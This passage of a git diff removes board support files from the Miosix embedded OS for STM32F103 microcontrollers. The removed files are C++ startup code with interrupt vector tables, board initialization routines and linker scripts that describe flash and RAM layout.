__attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_2_IRQHandler, - USB_HP_CAN1_TX_IRQHandler, - USB_LP_CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - USBWakeUp_IRQHandler, - 0,0,0,0,0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x108. This is for boot in RAM mode for - STM32F10x Medium Density devices. */ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp.cpp deleted file mode 100644 index 6f7a2743e..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015, 2016, 2017, 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" - -using namespace std; - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios, as well as AFIO - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - reboot(); //This board has no shutdown support, so we reboot on shutdown -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp_impl.h deleted file mode 100644 index 04c8f7e5a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the suorce code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -inline void ledOn() {} -inline void ledOff() {} - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return true; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_128k+20k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_128k+20k_rom.ld deleted file mode 100644 index 871ca1220..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_128k+20k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (128K FLASH, 20K RAM) - * Last 1K of FLASH is reserved as non-volatile storage by the BSP - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 20KB microcontrollers */ -_heap_end = 0x20005000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 20K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_64k+20k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_64k+20k_rom.ld deleted file mode 100644 index 106a1f3c6..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103cx_generic/stm32_64k+20k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 20K RAM) - * Last 1K of FLASH is reserved as non-volatile storage by the BSP - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 20KB microcontrollers */ -_heap_end = 0x20005000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 20K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/core/stage_1_boot.cpp deleted file mode 100644 index 79f142ab7..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_mp3v2/core/stage_1_boot.cpp +++ /dev/null @@ -1,349 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //Not calling SystemInit() here since the bootloader already does that for us, - //and calling it twice seems to mess up things - //SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x68000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x68000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x68000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -/** - * ? - */ -extern "C" void SystemInit_ExtMemCtl_Dummy() -{ - //Do nothing -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_5_IRQHandler(); -void __attribute__((weak)) SystemInit_ExtMemCtl(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, /* Window Watchdog */ - PVD_IRQHandler, /* PVD through EXTI Line detect */ - TAMPER_IRQHandler, /* Tamper */ - RTC_IRQHandler, /* RTC */ - FLASH_IRQHandler, /* Flash */ - RCC_IRQHandler, /* RCC */ - EXTI0_IRQHandler, /* EXTI Line 0 */ - EXTI1_IRQHandler, /* EXTI Line 1 */ - EXTI2_IRQHandler, /* EXTI Line 2 */ - EXTI3_IRQHandler, /* EXTI Line 3 */ - EXTI4_IRQHandler, /* EXTI Line 4 */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_IRQHandler, /* DMA1 Channel 2 */ - DMA1_Channel3_IRQHandler, /* DMA1 Channel 3 */ - DMA1_Channel4_IRQHandler, /* DMA1 Channel 4 */ - DMA1_Channel5_IRQHandler, /* DMA1 Channel 5 */ - DMA1_Channel6_IRQHandler, /* DMA1 Channel 6 */ - DMA1_Channel7_IRQHandler, /* DMA1 Channel 7 */ - ADC1_2_IRQHandler, /* ADC1 & ADC2 */ - USB_HP_CAN1_TX_IRQHandler, /* USB High Priority or CAN1 TX */ - USB_LP_CAN1_RX0_IRQHandler, /* USB Low Priority or CAN1 RX0 */ - CAN1_RX1_IRQHandler, /* CAN1 RX1 */ - CAN1_SCE_IRQHandler, /* CAN1 SCE */ - EXTI9_5_IRQHandler, /* EXTI Line 9..5 */ - TIM1_BRK_IRQHandler, /* TIM1 Break */ - TIM1_UP_IRQHandler, /* TIM1 Update */ - TIM1_TRG_COM_IRQHandler, /* TIM1 Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM4_IRQHandler, /* TIM4 */ - I2C1_EV_IRQHandler, /* I2C1 Event */ - I2C1_ER_IRQHandler, /* I2C1 Error */ - I2C2_EV_IRQHandler, /* I2C2 Event */ - I2C2_ER_IRQHandler, /* I2C2 Error */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_IRQHandler, /* USART3 */ - EXTI15_10_IRQHandler, /* EXTI Line 15..10 */ - RTC_Alarm_IRQHandler, /* RTC Alarm through EXTI Line */ - USBWakeUp_IRQHandler, /* USB Wakeup from suspend */ - TIM8_BRK_IRQHandler, /* TIM8 Break */ - TIM8_UP_IRQHandler, /* TIM8 Update */ - TIM8_TRG_COM_IRQHandler, /* TIM8 Trigger and Commutation */ - TIM8_CC_IRQHandler, /* TIM8 Capture Compare */ - ADC3_IRQHandler, /* ADC3 */ - 